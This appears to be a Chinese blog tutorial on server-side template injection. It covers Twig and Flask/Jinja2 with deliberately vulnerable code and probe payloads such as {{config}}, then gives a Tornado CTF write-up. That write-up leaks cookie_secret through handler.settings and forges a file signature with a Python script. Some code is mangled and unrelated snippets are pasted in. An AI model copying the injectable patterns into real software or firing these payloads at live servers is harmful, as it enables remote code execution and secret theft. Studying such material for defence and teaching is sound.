首先简单认识一下模板注入
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP 模版引擎 Twig 作为例子来说明模板注入产生的原理。考虑下面这段代码:
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig= new Twig_Environment(new Twig_Loader_String()); $output= $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 echo $output;
?>
使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数 $_GET["name"] 。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig= new Twig_Environment(new Twig_Loader_String()); $output= $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分 echo $output;
上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:
对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)。
模板注入检测
上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
借用本文第二部分所用到的代码:
<?php
require_once dirname(FILE).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); output= _GET['name']}"); // 将用户输入作为模版内容的一部分 echo $output;</pre>
在 Twig 模板引擎里,{{ var }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{2*10}} ,则在服务端拼接的模版内容为:
<pre class="prettyprint lang-php prettyprinted" style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; line-height: 20px; color: rgb(51, 51, 51); word-break: break-all; overflow-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Hello {{2*10}}</pre>
Twig 模板引擎在编译模板的过程中会计算 {{210}} 中的表达式 210 ,会将其返回值 20 作为模板变量的值输出,如下图:
现在把测试的数据改变一下,插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:
<pre class="prettyprint lang-php prettyprinted" style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; line-height: 20px; color: rgb(51, 51, 51); word-break: break-all; overflow-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">IsVuln{# comment #}{{2*8}}OK</pre>
实际服务端要进行编译的模板就被构造为:
<pre class="prettyprint lang-php prettyprinted" style="box-sizing: border-box; overflow: auto; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; font-size: 13px; display: block; padding: 8px; margin: 0px 0px 15px; line-height: 20px; color: rgb(51, 51, 51); word-break: break-all; overflow-wrap: break-word; background-color: rgb(247, 247, 249); border: 1px solid rgb(225, 225, 232); border-radius: 4px; white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Hello IsVuln{# comment #}{{2*8}}OK</pre>
这里简单分析一下,由于 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK ,如下图:
重点来了,不同引擎有不同的测试以及注入方式!
模板注入
flask/jinja2模板注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2
Flask框架中提供的模版引擎可能会被一些无量开发者利用引入一个服务端模版注入漏洞,如果对此感到有些困惑可以看看James Kettle在黑帽大会中分享的议题(PDF),简而言之这个漏洞允许将语言/语法注入到模板中。在服务器的context中执行这个输入重现,根据应用的context可能导致任意远程代码执行(远端控制设备)
参考文章:https://www.freebuf.com/articles/web/88768.html
参考文章:https://www.freebuf.com/articles/web/98928.html
PHP/模版引擎Twig注入
可以参考本博客文章 Flask从零到无 。
这里给出一个漏洞环境代码,本地测试
from flask import Flask
from flask import render_template from flask import request from flask import render_template_string app = Flask(__name__) @app.route('/test',methods=['GET', 'POST']) def test(): template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> ''' %(request.url)
return render_template_string(template)
if __name__ == '__main__': app.debug = True app.run()
代码简析: 我们自己简单写一个string类型的 html,html返回当前url,我们放入到渲染函数render_template_string进行渲染,然后页面会打印出当前url,如果url里含有{{}} 那么便可以进行模板注入。
测试url http://127.0.0.1:5000/test?{{config}}
测试结果如下:
而如果我们使用render_template函数,
@app.route('/',methods=['GET', 'POST'])
@app.route('/index',methods=['GET', 'POST'])#我们访问/或者/index都会跳转 def index(): return render_template("index.html",title='Home',user=request.args.get("key"))
index.html
<html>
<head> <title>{{title}} - 小猪佩奇</title> </head> <body> <h1>Hello, {{user}}!</h1> </body> </html>
那么将不会有模板注入,因为render_template已经传入一个固定好了的模板,没法再去修改,在渲染之后传入数据,只有当第一种代码,我们模板可控的时候,先传入后渲染,这样才会导致ssti模板注入。
CTF 题目
这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag
题目关键为如何获取cookie,在Bp抓包的情况下没有显示cookie,由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg
http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF
该处将原有参数替换可以执行模板注入msg={{XXXXX}},需要注意,这里过滤了大多数奇怪的字符,并且跟以往的题目不同的是,这里不需要python的基类再寻找子函数,而是直接获取环境的变量。
该思想来源于题目的提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,简单的理解例子如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape
class custom(UIModule):
def render(self, *args, **kwargs):
return escape.xhtml_escape('<h1>wupeiqi</h1>')
#return escape.xhtml_escape('<h1>wupeiqi</h1>')
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
'''
当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢?
在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler
继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做
'''
'''
我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie()
'''
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登录成功,写入session,跳转index
return render(request, 'account/login.html', {'model': login_form})
我们大概可以看出来,render是一个类似模板的东西,可以使用不同的参数来访问网页。那么我们在进行该题目的操作时,其实参数也是传递过来的,那么是什么参数呢。
在tornado模板中,存在一些可以访问的快速对象,例如
<title>
{{ escape(handler.settings["cookie"]) }}
</title>
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
而后使用在线的或者python的计算一下就可以
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
def mdfive2():
filename = '/fllllllllllllag'
cookie = r"M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r"
#print(md5value(filename))
# print(md5value('*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%+WgjHbvfM@[U'))
# print(''+md5value(filename))
print(md5value(cookie + md5value(filename)))#hints md5(cookie_secret+md5(filename))
mdfive2()
参考文章:
https://blog.csdn.net/wyj_1216/article/details/83043627
https://blog.csdn.net/iamsongyu/article/details/83346029
https://blog.csdn.net/yh1013024906/article/details/84330056
//www.greatytc.com/p/aef2ae0498df
https://www.cnblogs.com/hackxf/p/10480071.html
https://www.freebuf.com/vuls/83999.html